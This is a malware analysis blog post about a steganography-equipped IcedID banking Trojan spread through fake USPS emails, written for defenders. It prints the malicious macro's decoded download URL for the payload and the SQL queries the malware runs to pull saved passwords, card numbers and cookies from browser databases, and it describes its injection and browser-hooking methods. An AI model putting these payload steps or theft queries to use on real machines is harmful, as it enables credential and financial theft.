This blog post was authored by @hasherezade, with contributions from @siri_urz and Jérôme Segura.
Security firm Proofpoint recently published a report about a series of malspam campaigns they attribute to a threat actor called TA2101. Originally targeting German and Italian users with Cobalt Strike and Maze ransomware, the later wave of malicious emails were aimed at the US and pushing the IcedID Trojan.
During our analysis of this spam campaign, we noticed changes in how the payload was implemented, in particular with some code rewritten and new obfuscation. For example, the IcedID Trojan is now being delivered via steganography, as the data is encrypted and encoded with the content of a valid PNG image. According to our research, those changes were introduced in September 2019 (while in August 2019 the old loader was still in use).
The main IcedID module is stored without the typical PE header and is run by a dedicated loader that uses a custom headers structure. Our security analyst @hasherezade previously described this technique in a talk at the SAS conference (Funky Malware Formats).
In this blog post, we take a closer look at these new payloads and describe their technical details.
Our spam honeypot collected a large number of malicious emails containing the "USPS Delivery Unsuccessful Attempt Notification" subject line.
Each of these emails contains a Microsoft Word document as attachment allegedly coming from the United States Postal Service. The content of the document is designed to lure the victim into enabling macros by insinuating that the content had been encoded.
Having a look at the embedded macros, we can see the following elements:
There is a fake error message displayed to the victim, but more importantly, the IcedID Trojan authors have hidden the malicious instructions within a UserForm as labels.
The macro grabs the text from the labels, converts it, and uses during execution:
url1 = Dcr(GH1.Label1.Caption)
path1 = Dcr(GH1.Label2.Caption)
104 116 116 112 58 47 47 49 48 52 46 49 54 56 46 49 57 56 46 50 51 48 47 119 111 114 100 117 112 100 46 116 109 112
converts to: http://220.127.116.11/wordupd.tmp
converts to: C:\Windows\Temp\ered.tmp
The file wordupd.tmp is an executable downloaded with the help of the URLDownloadToFileA function, saved to the given path and run. Moving on, we will take a closer look at the functionality and implementation of the downloaded sample.
As it had before, IcedID has been observed making an injection into svchost, and running under its cover. Depending on the configuration, it may or may not download other executables, including TrickBot.
The malware drops various files on the disk. For example, in %APPDATA%, it saves the steganographically obfuscated payload (photo.png) and an update of the downloader:
It also creates a new folder with a random name, where it saves a downloaded configuration in encrypted form:
Inside the %TEMP% folder, it drops some non-malicious helper elements: sqlite32.dll (that will be used for reading SQLite browser databases found in web browsers), and a certificate that will be used for intercepting traffic:
Looking at the certificate, we can see that it was signed by VeriSign:
The application achieves persistence with the help of a scheduled task:
The task has two triggers: at the user login and at the scheduled hour.
Overview of the traffic
Most of the traffic is SSL encrypted. We can also see the use of websockets and addresses in a format such as "data2php?<key>", "data3.php?<key>".
The IcedID Trojan is known as a banking Trojan, and indeed, one of its important features is the ability to steal data related to banking transactions. For this purpose, it injects its implants into browsers, hooks the API, and performs a Man-In-The-Browser attack.
The core bot that runs inside the memory of svchost observes processes running on the system, and injects more implants into browsers. For example, looking at Mozilla Firefox:
By scanning the process with PE-sieve, we can detect that some of the DLLs inside the browser have been hooked and their execution was redirected to the malicious module.
In Firefox, the following hooks have been installed:
- nss3.dll : SSL_AuthCertificateHook->2c2202[2c1000+1202]
- ws2_32.dll : connect->2c2728[2c1000+1728]
A different set was observed in Internet Explorer:
- mswsock : hook_0->525d0[implant_code+15d0]
- ws2_32.dll : connect->152728[implant_code+1728]
The content of the inlined webinject script is available here: inject.js.
It also communicates with the main bot that is inside the svchost process. The main bot coordinates the work of all the injected components, and sends the stolen data to the Command and Control server (CnC).
Due to the fact that the communication is protected by HTTPS, the malware must also install its own certificate. For example, this is the valid certificate for the Bank of America website:
And in contrast, the certificate used by the browser infected by IcedID:
Overview of the changes
As we mentioned, the core IcedID bot, as well as the dedicated loader, went through some refactoring. In this comparative analysis, we used the following old sample: b8113a604e6c190bbd8b687fd2ba7386d4d98234f5138a71bcf15f0a3c812e91
The old loader vs. new
The main module was injected into svchost:
The implanted PE was divided into two sections, and the first memory page (representing the header) was empty. This type of payload is more stealthy than a full PE injection (as is more common). However, it was possible to reconstruct the header and analyze the sample like a normal PE. (An example of the reconstructed payload is available here: 395d2d250b296fe3c7c5b681e5bb05548402a7eb914f9f7fcdccb741ad8ddfea).
The redirection to the implant was implemented by hooking the RtlExitUserProcess function within svchost's NTDLL.
When svchost tried to terminate, it instead triggered a jump into the injected PE's entry point.
The loader was also filling the pointer to the data page within the payload. We can see this pointer being loaded at the beginning of the payload's execution:
In the new implementation, there is one more intermediate loader element implemented as shellcode. The diagram below shows the new loading chain:
The shellcode has similar functionality that was previously implemented by the loader in form of a PE. First it injects itself into svchost.
Then it decompresses and injects the payload, which as before is a headerless PE (analogical to the one described here).
Comparing the core
The implementation of the core bot is modified. Yet, inside the code we can find some strings known from the previous sample, as well as a similar set of imported API functions. We can also see some matching strings and fragments of implemented logic.
Analogical fragment from the new sample:
Comparing both reconstructed samples with the help of BinDiff shows that there are quite a few differences and rewritten parts. Yet, there are parts of code that are the same in both, which proves that the codebase remained the same.
Let's follow the execution flow of all the elements from the new IcedID package.
In the current delivery model, the first element of IcedID is a downloader. It is a PE file, packed by a crypter. The packing layer changes from sample to sample, so we will omit its description. After unpacking it, we get the plain version: fbacdb66748e6ccb971a0a9611b065ac.
Internally, this executable is simple and no further obfuscated. We can see that it first queries the CnC trying to fetch the second stage, requesting for a photo.png. It passes a generated ID to the URL. Example:
The downloader fetches the PNG with the encoded payload. Then it loads the file, decodes it, and redirects the execution there. Below we can see the responsible function:
Once the PNG is downloaded, it will be saved on disk and can be loaded again at system restart. The downloader will turn into a runner of this obfuscated format. In this way, the core executable is revealed only in memory and never stored on disk as an EXE file.
The "photo.png" looks like a valid graphic file:
In this fragment of code, we can see that the data from the PNG (section starting from the tag "IDAT") is first decoded to raw bytes, and then those bytes are passed to the further decoding function.
The algorithm used for decoding the bytes:
The PNG is decrypted and injected into the downloader. In this case, the decoded content turns out to be a shellcode module rather than a PE.
The loader passes to the shellcode one argument; that is the base at which it was loaded.
The loader (shellcode)
As mentioned before, this stage is implemented as a position-independent code (shellcode). The dumped sample is available here: 624afab07528375d8146653857fbf90d.
As we can see from the downloader's code, the shellcode entry point must first be fetched from a simple header that is at the beginning of the decoded module. We see that this header stores more information that is essential for loading the next element:
As this module is no longer a PE file, its analysis is more difficult. All the APIs used by the shellcode are resolved dynamically:
The strings are composed on the stack:
To make the deobfuscation easier, we can follow the obfuscated flow with the help of a PIN tracer. The log from the tracing of this stage (on a 32 bit system) shows APIs indicating code injection, along with their offsets:
09c;shellcode's Entry Point
Indeed, the shellcode injects its own copy, passing its entry point to the APC Queue. This time, some additional parameters are added as a thread context.
Once the shellcode is executed from inside svchost, an alternative path to the execution is taken. It becomes a loader for the core bot. The core element is stored in a compressed form within the shellcode's body. First, it is decompressed.
From previous experiments, we know that the payload follows the typical structure of a PE file, yet it has no headers. Often, malware authors erase headers in memory once the payload is loaded. Yet, this is not the case. In order to make the payload stealthier, the authors didn't store the original headers of this PE at all. Instead, they created their own minimalist header that is used by the internal loader.
First, the shellcode finds the next module by parsing its own header:
The shellcode also loads the imports of the payload:
Below, we can see the fragment of code responsible for following the custom headers definition, and applying protection on pages. After the next element is loaded, execution is redirected to its entry point.
The entry point of the next module where the function expects the pointer to the data to be supplied:
The supplied data is appended at the end of the shellcode, and contains: the path of the initial executable, the path of the downloaded payload (photo.png), and other data.
Note that described analysis was performed on a 32 bit system. In case of a 64bit system, the shellcode takes an alternative execution path, and a 64bit version of the payload is loaded with the help of Heaven's Gate technique. Yet, all the features of both payload's versions are identical.
Reconstructing the PE
In order to make analysis easier, it is always beneficial to reconstruct the valid PE header. There are two approaches to this problem:
- Manually finding and filling all the PE artifacts, such as: sections, imports, relocations (this becomes a problem in if all those elements are customized by the authors, as in the case of Ocean Lotus sample)
- Analyzing in detail the loader and reconstructing the PE from the custom header
Since we have access to the loader's code, we can go for the second, more reliable approach: Observe how the loader processes the data and reconstruct the meaning of the fields.
A fragment of the loader's code where the sections are processed:
The custom header reconstructed based on the analysis:
Fortunately, in this case the malware authors customized only the PE header. The Data Directory elements (imports and relocations) are kept in a standard form, so this part does not need to be converted.
The converter from this format to PE is available here:
Interestingly, the old version of IcedID used a similar custom format, but with one modification. In the past, there was one more DWORD-sized field before the ImportDirector VA. So, the latest header is shorter by one DWORD than the previous one.
The module in the old format: bbd6b94deabb9ac4775befc3dc6b516656615c9295e71b39610cb83c4b005354
The core bot (headerless PE)
6aeb27d50512dbad7e529ffedb0ac153 - a reconstructed PE
Looking inside the strings of this module, we can guess that this element is responsible for all the core malicious operations performed by this malware. It communicates with the CnC server, reads the sqlite databases in order to steal cookies, installs its own certificate for Man-In-The-Browser attacks, and eventually downloads other modules.
We can see that this is the element that was responsible for generating the observed requests to the CnC:
During the run, the malware is under constant supervision from the CnC. The communication with the server is encrypted.
The majority of the strings used by the malware are obfuscated and decoded before use. The algorithm used for decoding is simple:
In order to decode the strings statically, we can reimplement the algorithm and supply to it encoded buffers. Another easier solution is a decoder that loads the original malware and uses its function, as well as the encoded buffers given by offset. Example available here.
Decoding strings is important for the further analysis. Especially because, in this case, we can find some debug strings left by the developers, informing us about the actions performed by the malware in particular fragments of code.
A list of some of the decoded strings is available here.
The overview of the main function of the bot is given below:
The bot starts by opening a socket. Then, it beacons to the CnC and initializes threads for some specific actions: MiTM proxy, browser hooking engine, and a backconnect module (backdoor).
It also calls to a function that initializes handlers, responsible for managing a variety of available actions. The full list:
By analyzing closer to the handlers, we notice that similar to the first element, the main bot retrieves various elements as steganographically protected modules. The function responsible for decoding PNG files is analogical to the one found in the initial downloader:
Those PNGs are used to carry the content of various updates for the malware. For example, an update to the list of URLs, but also other configuration files.
Execution flow controlled by the CnC
The malware's backconnect feature allows the attacker to deploy various commands on the victim machine. The CnC can also instruct the bot to decode other malicious modules from inside that will be deployed in a new process. For example:
If the particular command from the CnC is received, the bot will decompress another buffer that is stored inside the sample and inject it into a new instance of svchost.
The way in which this injection is implemented reminds us of the older version of the loader. First, the buffer is decompressed with the help of RtlDecompressBuffer:
Then, memory is allocated at the preferred address 0x3000.
Some functions from NTDLL and other parameters will be copied to the structure, stored at the beginning of the shellcode.
We can see there are some functions that will be used by the shellcode to load another embedded PE.
Similar to in the old loader, the redirection to the new entry point is implemented via hook set on the RtlExitUserProcess function:
After the buffer gets decompressed, we can see another piece of shellcode:
This shellcode is an analogical loader of the headerless PE module. We can see inside the custom version of PE header that will be used by the loader:
Dumped shellcode: 469ef3aedd47dc820d9d64a253652d7436abe6a5afb64c3722afb1ac83c3a3e1
This element is an additional backdoor, deploying on demand a hidden VNC. It is also referenced by the authors by the name "HDESK bot" (Help Desk bot) because it gives the attacker direct access to the victim machine, as if it were a help-desk service. Converted to PE: 2959091ac9e2a544407a2ecc60ba941b
Below, we will analyze the selected features implemented by the core bot. Note that many of the features are deployed on demand—depending on the command given by the CnC. In the observed case, the bot was also used as a downloader of the secondary malware, TrickBot.
Installing its own certificate
The malware installs its own certificate. First it drops the generated file into the %TEMP% folder. Then, the file is loaded and added to the Windows certificate store.
Fragment of Certificate generation function:
Calling the function to add the certificate to store:
Stealing passwords from IE
We can see that this bot goes after various saved credentials. Among the different methods used, we identified stealing data from the Credential Store. The used method is similar to the one described here.
We can see that it uses the mentioned GUID "abe2869f-9b47-4cd9-a358-c22904dba7f7" that was used to salt the credentials. After reading the credentials from the store, the bot undoes the salting operation in order to get the plaintext.
Stealing saved email credentials
The bot is trying to use every opportunity to extract passwords from the victim machine, also going after saved email credentials.
As we observed during the behavioral analysis, the malware drops the sqlite3.dll in the temp folder. This module is further loaded and used to perform queries to browsers' databases with saved cookies.
The malware searches the files containing cookies of particular browsers:
We can see the content of the queries after decoding strings:
It targets Firefox, as well as Chrome and Chromium-based browsers:
Fragment of the code performing queries:
The list of queries to the Chrome's database:
SELECT name, value FROM autofill
SELECT guid, company_name, street_address, city, state, zipcode, country_code FROM autofill_profiles
SELECT guid, number FROM autofill_profile_phones
SELECT guid, first_name, middle_name, last_name, full_name FROM autofill_profile_names
SELECT card_number_encrypted, length(card_number_encrypted), name_on_card, expiration_month || "/" ||expiration_year FROM credit_cards
SELECT origin_url,username_value,length(password_value),password_value FROM logins WHERE username_value <> ''
SELECT host_key, path, is_secure, (case expires_utc when 0 then 0 else (expires_utc / 1000000) - 11644473600 end), name, length(encrypted_value), encrypted_value FROM cookies
The list of queries to the Firefox's database:
SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formhistory
All the found files are packed into a TAR archive and sent to the CnC.
Similarly, it creates a "passff.tar" archive with stolen Firefox profiles:
As mentioned earlier, the malware attacks and hooks browsers. Since the analogical functionality is achieved by different functions within different browsers, a set of installed hooks may be unique for each.
First, the malware searches for targets among the running processes. It uses the following algorithm:
It is similar to the one from the previous version (described here), yet we can see a few changes, i.e. the checksums are modified, and some additional checks are added. Yet, the list of the attacked browsers is the same, including the most popular ones: Firefox, MS Edge, Internet Explorer, and Chrome.
The browsers are first infected with the dedicated IcedID module. Just like all the modules in this edition of IcedID, the browser implant is a headerless PE file. Its reconstructed version is available here: 9e0c27746c11866c61dec17f1edfd2693245cd257dc0de2478c956b594bb2eb3.
After being injected, this module finds the appropriate DLLs in the memory of the process and sets redirections to its own code:
Parsing the instructions and installing the hooks:
Then, the selected API functions are intercepted and redirected to the plugin. Usually the hooks are installed at the beginning of functions, but there are exceptions to this rule. For example, in case of Internet Explorer, a function within the mswsock.dll has been intercepted in between:
Looking at the elements in memory involved in intercepting the calls: the browser implant (headerless PE), and the additional memory page:
Example of the hook in Firefox:
Step 1: the function SSL_AuthCertificateHook has a jump redirecting to the implanted module:
Step 2: The implanted module calls the code from the additional page with appropriate parameters:
Step 3: The code at the additional page is a patched fragment of the original function. After executing the modified code, it goes back to the original DLL.
The functionality of this hook didn't change from the previous version.
The bot gets the configuration from the CnC in the form of .DAT files that were mentioned before. First, the file is decoded by RC4 algorithm. The output must start from the "zeus" keyword, and is further encoded by a custom algorithm. Scripts dedicated for each site are identified by a script ID.
After the files are loaded and decoded, we can see the content:
There are multiple types of webinjects available to perform by the bot:
Depending on the configuration, the bot may replace some parts of the website's code, or add some new, malicious scripts.
Executing remote commands
In case the commands implemented by the bot are not enough for the needs of the operator, the bot allows a feature of executing commands from the command line.
The output of the run commands is sent back to the malware via named pipe, and then supplied back to the CnC.
Mature banker and stealer
As we can see from the above analysis, IcedID is not only a banking Trojan, but a general-purpose stealer able to extract a variety of credentials. It can also work as a downloader for other modules, including covert ones, that look like harmless PNG files.
This bot is mature, written by experienced developers. It deploys various typical techniques, including Zeus-style webinjects, hooks for various browsers, hidden VNC, and backconnect. Its authors also used several known obfuscation techniques. In addition, the use of customized PE headers is an interesting bonus, slowing down static analysis.
In recent updates, the malware authors equipped the bot with steganography. It is not a novelty to see it in the threat landscape, but it is a feature that makes this malware a bit more stealthy.
Indicators of Compromise
- Command-Line Interface
- Execution through Module Load
- Scheduled Task
- Windows Managment Intstrumentation
- Registry Run Keys/ Startup Folder
- Scheduled Task
- Privilege Escalation
- Scheduled Task
- Defense Evasion
- Credential Access
- Credentials in Files
- Credential Dumping
- Network Share Discovery
- Query Registry
- Remote System Discovery
- System Information Discovery
- System Network Configuration Discovery
- Lateral Movement
- Remote File Copy
About the old variants of IceID:
- Deep Dive Into IcedID Malware - by Kai Lu, Fortinet: